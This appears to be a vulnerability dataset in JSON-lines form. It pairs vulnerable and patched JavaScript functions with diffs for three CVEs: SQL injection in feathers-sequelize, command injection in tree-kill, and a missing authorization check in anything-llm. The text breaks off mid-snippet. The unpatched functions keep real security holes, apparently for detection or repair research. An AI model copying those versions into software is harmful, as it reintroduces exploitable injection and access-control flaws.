{"cve_id": "CVE-2022-2422", "cve_description": "Due to improper input validation in the Feathers js library, it is possible to perform a SQL injection attack on the back-end database, in case the feathers-sequelize package is used.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/feathersjs-ecosystem/feathers-sequelize", "patch_url": ["https://github.com/feathersjs-ecosystem/feathers-sequelize/commit/0f2d85f0b2d556f2b6c70423dcebdbd29d95e3dc"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_274_1", "commit": "4c536ccc58343fe5b283016d618ad8e7fd6a1c2c", "file_path": "lib/index.js", "start_line": 122, "end_line": 159, "snippet": "  _find (params = {}) {\n    const { filters, query: where, paginate } = this.filterQuery(params);\n    const order = utils.getOrder(filters.$sort);\n\n    const q = Object.assign({\n      where,\n      order,\n      limit: filters.$limit,\n      offset: filters.$skip,\n      raw: this.raw,\n      distinct: true\n    }, params.sequelize);\n\n    if (filters.$select) {\n      q.attributes = filters.$select;\n    }\n\n    const Model = this.applyScope(params);\n\n    // Until Sequelize fix all the findAndCount issues, a few 'hacks' are needed to get the total count correct\n\n    // Adding an empty include changes the way the count is done\n    // See: https://github.com/sequelize/sequelize/blob/7e441a6a5ca44749acd3567b59b1d6ceb06ae64b/lib/model.js#L1780-L1782\n    q.include = q.include || [];\n\n    if (paginate && paginate.default) {\n      return Model.findAndCountAll(q).then(result => {\n        return {\n          total: result.count,\n          limit: filters.$limit,\n          skip: filters.$skip || 0,\n          data: result.rows\n        };\n      }).catch(utils.errorHandler);\n    }\n\n    return Model.findAll(q).catch(utils.errorHandler);\n  }"}], "fix_func": [{"id": "fix_js_274_1", "commit": "0f2d85f0b2d556f2b6c70423dcebdbd29d95e3dc", "file_path": "lib/index.js", "start_line": 122, "end_line": 159, "snippet": "  _find (params = {}) {\n    const { filters, query: where, paginate } = this.filterQuery(params);\n    const order = utils.getOrder(filters.$sort);\n\n    const q = Object.assign({\n      where,\n      order,\n      limit: filters.$limit,\n      offset: filters.$skip,\n      raw: this.raw,\n      distinct: true\n    }, params.sequelize);\n\n    if (filters.$select) {\n      q.attributes = filters.$select.map(select => `${select}`);\n    }\n\n    const Model = this.applyScope(params);\n\n    // Until Sequelize fix all the findAndCount issues, a few 'hacks' are needed to get the total count correct\n\n    // Adding an empty include changes the way the count is done\n    // See: https://github.com/sequelize/sequelize/blob/7e441a6a5ca44749acd3567b59b1d6ceb06ae64b/lib/model.js#L1780-L1782\n    q.include = q.include || [];\n\n    if (paginate && paginate.default) {\n      return Model.findAndCountAll(q).then(result => {\n        return {\n          total: result.count,\n          limit: filters.$limit,\n          skip: filters.$skip || 0,\n          data: result.rows\n        };\n      }).catch(utils.errorHandler);\n    }\n\n    return Model.findAll(q).catch(utils.errorHandler);\n  }"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -12,7 +12,7 @@\n     }, params.sequelize);\n \n     if (filters.$select) {\n-      q.attributes = filters.$select;\n+      q.attributes = filters.$select.map(select => `${select}`);\n     }\n \n     const Model = this.applyScope(params);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-15599", "cve_description": "A Code Injection exists in tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pkrumins/node-tree-kill", "patch_url": ["https://github.com/pkrumins/node-tree-kill/commit/deee138a8cbc918463d8af5ce8c2bec33c3fd164"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_280_1", "commit": "ff73dbf144c4c2daa67799a50dfff59cd455c63c", "file_path": "index.js", "start_line": 7, "end_line": 46, "snippet": "module.exports = function (pid, signal, callback) {\n    if (typeof pid !== \"number\") {\n        throw new Error(\"pid must be a number\");\n    }\n\n    var tree = {};\n    var pidsToProcess = {};\n    tree[pid] = [];\n    pidsToProcess[pid] = 1;\n    \n    if (typeof signal === 'function' && callback === undefined) {\n      callback = signal;\n      signal = undefined;\n    }\n\n    switch (process.platform) {\n    case 'win32':\n        exec('taskkill /pid ' + pid + ' /T /F', callback);\n        break;\n    case 'darwin':\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('pgrep', ['-P', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    // case 'sunos':\n    //     buildProcessTreeSunOS(pid, tree, pidsToProcess, function () {\n    //         killAll(tree, signal, callback);\n    //     });\n    //     break;\n    default: // Linux\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('ps', ['-o', 'pid', '--no-headers', '--ppid', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    }\n};"}], "fix_func": [{"id": "fix_js_280_1", "commit": "deee138a8cbc918463d8af5ce8c2bec33c3fd164", "file_path": "index.js", "start_line": 7, "end_line": 51, "snippet": "module.exports = function (pid, signal, callback) {\n    if (typeof signal === 'function' && callback === undefined) {\n        callback = signal;\n        signal = undefined;\n    }\n\n    pid = parseInt(pid);\n    if (Number.isNaN(pid)) {\n        if (callback) {\n            return callback(new Error(\"pid must be a number\"));\n        } else {\n            throw new Error(\"pid must be a number\");\n        }\n    }\n\n    var tree = {};\n    var pidsToProcess = {};\n    tree[pid] = [];\n    pidsToProcess[pid] = 1;\n\n    switch (process.platform) {\n    case 'win32':\n        exec('taskkill /pid ' + pid + ' /T /F', callback);\n        break;\n    case 'darwin':\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('pgrep', ['-P', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    // case 'sunos':\n    //     buildProcessTreeSunOS(pid, tree, pidsToProcess, function () {\n    //         killAll(tree, signal, callback);\n    //     });\n    //     break;\n    default: // Linux\n        buildProcessTree(pid, tree, pidsToProcess, function (parentPid) {\n          return spawn('ps', ['-o', 'pid', '--no-headers', '--ppid', parentPid]);\n        }, function () {\n            killAll(tree, signal, callback);\n        });\n        break;\n    }\n};"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,17 +1,22 @@\n module.exports = function (pid, signal, callback) {\n-    if (typeof pid !== \"number\") {\n-        throw new Error(\"pid must be a number\");\n+    if (typeof signal === 'function' && callback === undefined) {\n+        callback = signal;\n+        signal = undefined;\n+    }\n+\n+    pid = parseInt(pid);\n+    if (Number.isNaN(pid)) {\n+        if (callback) {\n+            return callback(new Error(\"pid must be a number\"));\n+        } else {\n+            throw new Error(\"pid must be a number\");\n+        }\n     }\n \n     var tree = {};\n     var pidsToProcess = {};\n     tree[pid] = [];\n     pidsToProcess[pid] = 1;\n-    \n-    if (typeof signal === 'function' && callback === undefined) {\n-      callback = signal;\n-      signal = undefined;\n-    }\n \n     switch (process.platform) {\n     case 'win32':\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-10109", "cve_description": "A vulnerability in the mintplex-labs/anything-llm repository, as of commit 5c40419, allows low privilege users to access the sensitive API endpoint \"/api/system/custom-models\". This access enables them to modify the model's API key and base path, leading to potential API key leakage and denial of service on chats.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/mintplex-labs/anything-llm", "patch_url": ["https://github.com/mintplex-labs/anything-llm/commit/8d302c3f670c582b09d47e96132c248101447a11"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_265_1", "commit": "dd017c6cbbf42abdef7861a66558c53b66424d07", "file_path": "server/endpoints/system.js", "start_line": 60, "end_line": 1220, "snippet": "function systemEndpoints(app) {\n  if (!app) return;\n\n  app.get(\"/ping\", (_, response) => {\n    response.status(200).json({ online: true });\n  });\n\n  app.get(\"/migrate\", async (_, response) => {\n    response.sendStatus(200);\n  });\n\n  app.get(\"/env-dump\", async (_, response) => {\n    if (process.env.NODE_ENV !== \"production\")\n      return response.sendStatus(200).end();\n    dumpENV();\n    response.sendStatus(200).end();\n  });\n\n  app.get(\"/setup-complete\", async (_, response) => {\n    try {\n      const results = await SystemSettings.currentSettings();\n      response.status(200).json({ results });\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/system/check-token\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        if (multiUserMode(response)) {\n          const user = await userFromSession(request, response);\n          if (!user || user.suspended) {\n            response.sendStatus(403).end();\n            return;\n          }\n\n          response.sendStatus(200).end();\n          return;\n        }\n\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\"/request-token\", async (request, response) => {\n    try {\n      const bcrypt = require(\"bcrypt\");\n\n      if (await SystemSettings.isMultiUserMode()) {\n        const { username, password } = reqBody(request);\n        const existingUser = await User._get({ username: String(username) });\n\n        if (!existingUser) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_username\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[001] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (!bcrypt.compareSync(String(password), existingUser.password)) {\n          await EventLogs.logEvent(\n            \"failed_login_invalid_password\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[002] Invalid login credentials.\",\n          });\n          return;\n        }\n\n        if (existingUser.suspended) {\n          await EventLogs.logEvent(\n            \"failed_login_account_suspended\",\n            {\n              ip: request.ip || \"Unknown IP\",\n              username: username || \"Unknown user\",\n            },\n            existingUser?.id\n          );\n          response.status(200).json({\n            user: null,\n            valid: false,\n            token: null,\n            message: \"[004] Account suspended by admin.\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\n          \"login_event\",\n          { multiUserMode: false },\n          existingUser?.id\n        );\n\n        await EventLogs.logEvent(\n          \"login_event\",\n          {\n            ip: request.ip || \"Unknown IP\",\n            username: existingUser.username || \"Unknown user\",\n          },\n          existingUser?.id\n        );\n\n        // Check if the user has seen the recovery codes\n        if (!existingUser.seen_recovery_codes) {\n          const plainTextCodes = await generateRecoveryCodes(existingUser.id);\n\n          // Return recovery codes to frontend\n          response.status(200).json({\n            valid: true,\n            user: User.filterFields(existingUser),\n            token: makeJWT(\n              { id: existingUser.id, username: existingUser.username },\n              \"30d\"\n            ),\n            message: null,\n            recoveryCodes: plainTextCodes,\n          });\n          return;\n        }\n\n        response.status(200).json({\n          valid: true,\n          user: User.filterFields(existingUser),\n          token: makeJWT(\n            { id: existingUser.id, username: existingUser.username },\n            \"30d\"\n          ),\n          message: null,\n        });\n        return;\n      } else {\n        const { password } = reqBody(request);\n        if (\n          !bcrypt.compareSync(\n            password,\n            bcrypt.hashSync(process.env.AUTH_TOKEN, 10)\n          )\n        ) {\n          await EventLogs.logEvent(\"failed_login_invalid_password\", {\n            ip: request.ip || \"Unknown IP\",\n            multiUserMode: false,\n          });\n          response.status(401).json({\n            valid: false,\n            token: null,\n            message: \"[003] Invalid password provided\",\n          });\n          return;\n        }\n\n        await Telemetry.sendTelemetry(\"login_event\", { multiUserMode: false });\n        await EventLogs.logEvent(\"login_event\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: false,\n        });\n        response.status(200).json({\n          valid: true,\n          token: makeJWT(\n            { p: new EncryptionManager().encrypt(password) },\n            \"30d\"\n          ),\n          message: null,\n        });\n      }\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\n    \"/request-token/sso/simple\",\n    [simpleSSOEnabled],\n    async (request, response) => {\n      const { token: tempAuthToken } = request.query;\n      const { sessionToken, token, error } =\n        await TemporaryAuthToken.validate(tempAuthToken);\n\n      if (error) {\n        await EventLogs.logEvent(\"failed_login_invalid_temporary_auth_token\", {\n          ip: request.ip || \"Unknown IP\",\n          multiUserMode: true,\n        });\n        return response.status(401).json({\n          valid: false,\n          token: null,\n          message: `[001] An error occurred while validating the token: ${error}`,\n        });\n      }\n\n      await Telemetry.sendTelemetry(\n        \"login_event\",\n        { multiUserMode: true },\n        token.user.id\n      );\n      await EventLogs.logEvent(\n        \"login_event\",\n        {\n          ip: request.ip || \"Unknown IP\",\n          username: token.user.username || \"Unknown user\",\n        },\n        token.user.id\n      );\n\n      response.status(200).json({\n        valid: true,\n        user: User.filterFields(token.user),\n        token: sessionToken,\n        message: null,\n      });\n    }\n  );\n\n  app.post(\n    \"/system/recover-account\",\n    [isMultiUserSetup],\n    async (request, response) => {\n      try {\n        const { username, recoveryCodes } = reqBody(request);\n        const { success, resetToken, error } = await recoverAccount(\n          username,\n          recoveryCodes\n        );\n\n        if (success) {\n          response.status(200).json({ success, resetToken });\n        } else {\n          response.status(400).json({ success, message: error });\n        }\n      } catch (error) {\n        console.error(\"Error recovering account:\", error);\n        response\n          .status(500)\n          .json({ success: false, message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/reset-password\",\n    [isMultiUserSetup],\n    async (request, response) => {\n      try {\n        const { token, newPassword, confirmPassword } = reqBody(request);\n        const { success, message, error } = await resetPassword(\n          token,\n          newPassword,\n          confirmPassword\n        );\n\n        if (success) {\n          response.status(200).json({ success, message });\n        } else {\n          response.status(400).json({ success, error });\n        }\n      } catch (error) {\n        console.error(\"Error resetting password:\", error);\n        response.status(500).json({ success: false, message: error.message });\n      }\n    }\n  );\n\n  app.get(\n    \"/system/system-vectors\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const query = queryParams(request);\n        const VectorDb = getVectorDbClass();\n        const vectorCount = !!query.slug\n          ? await VectorDb.namespaceCount(query.slug)\n          : await VectorDb.totalVectors();\n        response.status(200).json({ vectorCount });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-document\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { name } = reqBody(request);\n        await purgeDocument(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-documents\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { names } = reqBody(request);\n        for await (const name of names) await purgeDocument(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-folder\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { name } = reqBody(request);\n        await purgeFolder(name);\n        response.sendStatus(200).end();\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/local-files\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (_, response) => {\n      try {\n        const localFiles = await viewLocalFiles();\n        response.status(200).json({ localFiles });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/document-processing-status\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        const online = await new CollectorApi().online();\n        response.sendStatus(online ? 200 : 503);\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\n    \"/system/accepted-document-types\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        const types = await new CollectorApi().acceptedFileTypes();\n        if (!types) {\n          response.sendStatus(404).end();\n          return;\n        }\n\n        response.status(200).json({ types });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/update-env\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (request, response) => {\n      try {\n        const body = reqBody(request);\n        const { newValues, error } = await updateENV(\n          body,\n          false,\n          response?.locals?.user?.id\n        );\n        response.status(200).json({ newValues, error });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/update-password\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        // Cannot update password in multi - user mode.\n        if (multiUserMode(response)) {\n          response.sendStatus(401).end();\n          return;\n        }\n\n        let error = null;\n        const { usePassword, newPassword } = reqBody(request);\n        if (!usePassword) {\n          // Password is being disabled so directly unset everything to bypass validation.\n          process.env.AUTH_TOKEN = \"\";\n          process.env.JWT_SECRET = \"\";\n        } else {\n          error = await updateENV(\n            {\n              AuthToken: newPassword,\n              JWTSecret: v4(),\n            },\n            true\n          )?.error;\n        }\n        response.status(200).json({ success: !error, error });\n      } catch (e) {\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/enable-multi-user\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        if (response.locals.multiUserMode) {\n          response.status(200).json({\n            success: false,\n            error: \"Multi-user mode is already enabled.\",\n          });\n          return;\n        }\n\n        const { username, password } = reqBody(request);\n        const { user, error } = await User.create({\n          username,\n          password,\n          role: ROLES.admin,\n        });\n\n        if (error || !user) {\n          response.status(400).json({\n            success: false,\n            error: error || \"Failed to enable multi-user mode.\",\n          });\n          return;\n        }\n\n        await SystemSettings._updateSettings({\n          multi_user_mode: true,\n        });\n        await BrowserExtensionApiKey.migrateApiKeysToMultiUser(user.id);\n\n        await updateENV(\n          {\n            JWTSecret: process.env.JWT_SECRET || v4(),\n          },\n          true\n        );\n        await Telemetry.sendTelemetry(\"enabled_multi_user_mode\", {\n          multiUserMode: true,\n        });\n        await EventLogs.logEvent(\"multi_user_mode_enabled\", {}, user?.id);\n        response.status(200).json({ success: !!user, error });\n      } catch (e) {\n        await User.delete({});\n        await SystemSettings._updateSettings({\n          multi_user_mode: false,\n        });\n\n        console.error(e.message, e);\n        response.sendStatus(500).end();\n      }\n    }\n  );\n\n  app.get(\"/system/multi-user-mode\", async (_, response) => {\n    try {\n      const multiUserMode = await SystemSettings.isMultiUserMode();\n      response.status(200).json({ multiUserMode });\n    } catch (e) {\n      console.error(e.message, e);\n      response.sendStatus(500).end();\n    }\n  });\n\n  app.get(\"/system/logo\", async function (request, response) {\n    try {\n      const darkMode =\n        !request?.query?.theme || request?.query?.theme === \"default\";\n      const defaultFilename = getDefaultFilename(darkMode);\n      const logoPath = await determineLogoFilepath(defaultFilename);\n      const { found, buffer, size, mime } = fetchLogo(logoPath);\n\n      if (!found) {\n        response.sendStatus(204).end();\n        return;\n      }\n\n      const currentLogoFilename = await SystemSettings.currentLogoFilename();\n      response.writeHead(200, {\n        \"Access-Control-Expose-Headers\":\n          \"Content-Disposition,X-Is-Custom-Logo,Content-Type,Content-Length\",\n        \"Content-Type\": mime || \"image/png\",\n        \"Content-Disposition\": `attachment; filename=${path.basename(\n          logoPath\n        )}`,\n        \"Content-Length\": size,\n        \"X-Is-Custom-Logo\":\n          currentLogoFilename !== null &&\n          currentLogoFilename !== defaultFilename &&\n          !isDefaultFilename(currentLogoFilename),\n      });\n      response.end(Buffer.from(buffer, \"base64\"));\n      return;\n    } catch (error) {\n      console.error(\"Error processing the logo request:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\"/system/footer-data\", [validatedRequest], async (_, response) => {\n    try {\n      const footerData =\n        (await SystemSettings.get({ label: \"footer_data\" }))?.value ??\n        JSON.stringify([]);\n      response.status(200).json({ footerData: footerData });\n    } catch (error) {\n      console.error(\"Error fetching footer data:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\"/system/support-email\", [validatedRequest], async (_, response) => {\n    try {\n      const supportEmail =\n        (\n          await SystemSettings.get({\n            label: \"support_email\",\n          })\n        )?.value ?? null;\n      response.status(200).json({ supportEmail: supportEmail });\n    } catch (error) {\n      console.error(\"Error fetching support email:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  // No middleware protection in order to get this on the login page\n  app.get(\"/system/custom-app-name\", async (_, response) => {\n    try {\n      const customAppName =\n        (\n          await SystemSettings.get({\n            label: \"custom_app_name\",\n          })\n        )?.value ?? null;\n      response.status(200).json({ customAppName: customAppName });\n    } catch (error) {\n      console.error(\"Error fetching custom app name:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\n    \"/system/pfp/:id\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (request, response) {\n      try {\n        const { id } = request.params;\n        if (response.locals?.user?.id !== Number(id))\n          return response.sendStatus(204).end();\n\n        const pfpPath = await determinePfpFilepath(id);\n        if (!pfpPath) return response.sendStatus(204).end();\n\n        const { found, buffer, size, mime } = fetchPfp(pfpPath);\n        if (!found) return response.sendStatus(204).end();\n\n        response.writeHead(200, {\n          \"Content-Type\": mime || \"image/png\",\n          \"Content-Disposition\": `attachment; filename=${path.basename(pfpPath)}`,\n          \"Content-Length\": size,\n        });\n        response.end(Buffer.from(buffer, \"base64\"));\n        return;\n      } catch (error) {\n        console.error(\"Error processing the logo request:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/upload-pfp\",\n    [validatedRequest, flexUserRoleValid([ROLES.all]), handlePfpUpload],\n    async function (request, response) {\n      try {\n        const user = await userFromSession(request, response);\n        const uploadedFileName = request.randomFileName;\n        if (!uploadedFileName) {\n          return response.status(400).json({ message: \"File upload failed.\" });\n        }\n\n        const userRecord = await User.get({ id: user.id });\n        const oldPfpFilename = userRecord.pfpFilename;\n        if (oldPfpFilename) {\n          const storagePath = path.join(__dirname, \"../storage/assets/pfp\");\n          const oldPfpPath = path.join(\n            storagePath,\n            normalizePath(userRecord.pfpFilename)\n          );\n          if (!isWithin(path.resolve(storagePath), path.resolve(oldPfpPath)))\n            throw new Error(\"Invalid path name\");\n          if (fs.existsSync(oldPfpPath)) fs.unlinkSync(oldPfpPath);\n        }\n\n        const { success, error } = await User.update(user.id, {\n          pfpFilename: uploadedFileName,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Profile picture uploaded successfully.\"\n            : error || \"Failed to update with new profile picture.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the profile picture upload:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.delete(\n    \"/system/remove-pfp\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (request, response) {\n      try {\n        const user = await userFromSession(request, response);\n        const userRecord = await User.get({ id: user.id });\n        const oldPfpFilename = userRecord.pfpFilename;\n\n        if (oldPfpFilename) {\n          const storagePath = path.join(__dirname, \"../storage/assets/pfp\");\n          const oldPfpPath = path.join(\n            storagePath,\n            normalizePath(oldPfpFilename)\n          );\n          if (!isWithin(path.resolve(storagePath), path.resolve(oldPfpPath)))\n            throw new Error(\"Invalid path name\");\n          if (fs.existsSync(oldPfpPath)) fs.unlinkSync(oldPfpPath);\n        }\n\n        const { success, error } = await User.update(user.id, {\n          pfpFilename: null,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Profile picture removed successfully.\"\n            : error || \"Failed to remove profile picture.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the profile picture removal:\", error);\n        response.status(500).json({ message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/upload-logo\",\n    [\n      validatedRequest,\n      flexUserRoleValid([ROLES.admin, ROLES.manager]),\n      handleAssetUpload,\n    ],\n    async (request, response) => {\n      if (!request?.file || !request?.file.originalname) {\n        return response.status(400).json({ message: \"No logo file provided.\" });\n      }\n\n      if (!validFilename(request.file.originalname)) {\n        return response.status(400).json({\n          message: \"Invalid file name. Please choose a different file.\",\n        });\n      }\n\n      try {\n        const newFilename = await renameLogoFile(request.file.originalname);\n        const existingLogoFilename = await SystemSettings.currentLogoFilename();\n        await removeCustomLogo(existingLogoFilename);\n\n        const { success, error } = await SystemSettings._updateSettings({\n          logo_filename: newFilename,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Logo uploaded successfully.\"\n            : error || \"Failed to update with new logo.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the logo upload:\", error);\n        response.status(500).json({ message: \"Error uploading the logo.\" });\n      }\n    }\n  );\n\n  app.get(\"/system/is-default-logo\", async (_, response) => {\n    try {\n      const currentLogoFilename = await SystemSettings.currentLogoFilename();\n      const isDefaultLogo = currentLogoFilename === LOGO_FILENAME;\n      response.status(200).json({ isDefaultLogo });\n    } catch (error) {\n      console.error(\"Error processing the logo request:\", error);\n      response.status(500).json({ message: \"Internal server error\" });\n    }\n  });\n\n  app.get(\n    \"/system/remove-logo\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (_request, response) => {\n      try {\n        const currentLogoFilename = await SystemSettings.currentLogoFilename();\n        await removeCustomLogo(currentLogoFilename);\n        const { success, error } = await SystemSettings._updateSettings({\n          logo_filename: LOGO_FILENAME,\n        });\n\n        return response.status(success ? 200 : 500).json({\n          message: success\n            ? \"Logo removed successfully.\"\n            : error || \"Failed to update with new logo.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the logo removal:\", error);\n        response.status(500).json({ message: \"Error removing the logo.\" });\n      }\n    }\n  );\n\n  app.get(\n    \"/system/welcome-messages\",\n    [validatedRequest, flexUserRoleValid([ROLES.all])],\n    async function (_, response) {\n      try {\n        const welcomeMessages = await WelcomeMessages.getMessages();\n        response.status(200).json({ success: true, welcomeMessages });\n      } catch (error) {\n        console.error(\"Error fetching welcome messages:\", error);\n        response\n          .status(500)\n          .json({ success: false, message: \"Internal server error\" });\n      }\n    }\n  );\n\n  app.post(\n    \"/system/set-welcome-messages\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin, ROLES.manager])],\n    async (request, response) => {\n      try {\n        const { messages = [] } = reqBody(request);\n        if (!Array.isArray(messages)) {\n          return response.status(400).json({\n            success: false,\n            message: \"Invalid message format. Expected an array of messages.\",\n          });\n        }\n\n        await WelcomeMessages.saveAll(messages);\n        return response.status(200).json({\n          success: true,\n          message: \"Welcome messages saved successfully.\",\n        });\n      } catch (error) {\n        console.error(\"Error processing the welcome messages:\", error);\n        response.status(500).json({\n          success: true,\n          message: \"Error saving the welcome messages.\",\n        });\n      }\n    }\n  );\n\n  app.get(\"/system/api-keys\", [validatedRequest], async (_, response) => {\n    try {\n      if (response.locals.multiUserMode) {\n        return response.sendStatus(401).end();\n      }\n\n      const apiKeys = await ApiKey.where({});\n      return response.status(200).json({\n        apiKeys,\n        error: null,\n      });\n    } catch (error) {\n      console.error(error);\n      response.status(500).json({\n        apiKey: null,\n        error: \"Could not find an API Key.\",\n      });\n    }\n  });\n\n  app.post(\n    \"/system/generate-api-key\",\n    [validatedRequest],\n    async (_, response) => {\n      try {\n        if (response.locals.multiUserMode) {\n          return response.sendStatus(401).end();\n        }\n\n        const { apiKey, error } = await ApiKey.create();\n        await Telemetry.sendTelemetry(\"api_key_created\");\n        await EventLogs.logEvent(\n          \"api_key_created\",\n          {},\n          response?.locals?.user?.id\n        );\n        return response.status(200).json({\n          apiKey,\n          error,\n        });\n      } catch (error) {\n        console.error(error);\n        response.status(500).json({\n          apiKey: null,\n          error: \"Error generating api key.\",\n        });\n      }\n    }\n  );\n\n  app.delete(\"/system/api-key\", [validatedRequest], async (_, response) => {\n    try {\n      if (response.locals.multiUserMode) {\n        return response.sendStatus(401).end();\n      }\n\n      await ApiKey.delete();\n      await EventLogs.logEvent(\n        \"api_key_deleted\",\n        { deletedBy: response.locals?.user?.username },\n        response?.locals?.user?.id\n      );\n      return response.status(200).end();\n    } catch (error) {\n      console.error(error);\n      response.status(500).end();\n    }\n  });\n\n  app.post(\n    \"/system/custom-models\",\n    [validatedRequest],\n    async (request, response) => {\n      try {\n        const { provider, apiKey = null, basePath = null } = reqBody(request);\n        const { models, error } = await getCustomModels(\n          provider,\n          apiKey,\n          basePath\n        );\n        return response.status(200).json({\n          models,\n          error,\n        });\n      } catch (error) {\n        console.error(error);\n        response.status(500).end();\n      }\n    }\n  );\n\n  app.post(\n    \"/system/event-logs\",\n    [validatedRequest, flexUserRoleValid([ROLES.admin])],\n    async (request, response) => {\n      try {\n        const { offset = 0, limit = 10 } = reqBody(request);\n        const logs = await 